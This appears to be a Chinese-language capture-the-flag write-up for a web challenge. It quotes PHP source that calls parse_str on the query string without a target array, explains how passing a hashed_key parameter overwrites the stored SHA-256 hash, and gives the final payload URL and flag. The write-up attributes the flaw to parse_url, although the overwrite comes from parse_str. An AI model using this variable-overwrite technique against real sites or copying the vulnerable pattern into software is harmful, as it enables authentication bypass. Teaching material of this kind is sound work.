web4 地址:
<?php error_reporting(0); include("flag.php"); $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; $parsed = parse_url($_SERVER['REQUEST_URI']); /*理解parse_url函数 if(isset($parsed["query"])){ $query = $parsed["query"]; $parsed_query = parse_str($query); if($parsed_query!=NULL){ $action = $parsed_query['action']; } if($action==="auth"){ $key = $_GET["key"]; $hashed_input = hash('sha256', $key); if($hashed_input!==$hashed_key){ die("<img src='cxk.jpg'>"); } echo $flag; /*这里有flag,所以答案很有可能在这个语句中,因此要着重分析 } }else{ show_source(__FILE__); }?>解题思路: 分析代码, 发现存在action传参, 分析 $action = p a r s e d q u e r y [ ′ a c t i o n ′ ] 和 parsed_query['action']和 parsedquery[′action′]和action===“auth” 推出来 action=auth,将action=auth传入 解题关键就在于parse_url函数,存在变量覆盖漏洞 输入的key值也会传入,只不过是经过sha256加密的
$hashed_input = hash('sha256', $key); if($hashed_input!==$hashed_key){传入一个hashed_key,将原来的密文个覆盖掉 这个参数传入的是我们传入的key经过sha256加密后的密文,如:key=1(当然key的具体值你看着给几都行)也就是说用你输入的key值经sha256加密后赋值给hashed_key传入进去,利用parse_url函数存在变量覆盖的漏洞,将原来传入的变量覆盖,从而解出答案 令key=1,使用sha256加密赋值给hashed_key:
hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b最终得出payload为:
http://39.100.83.188:8066/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b得出flag:
flag{7he_rea1_f1@g_15_4ere}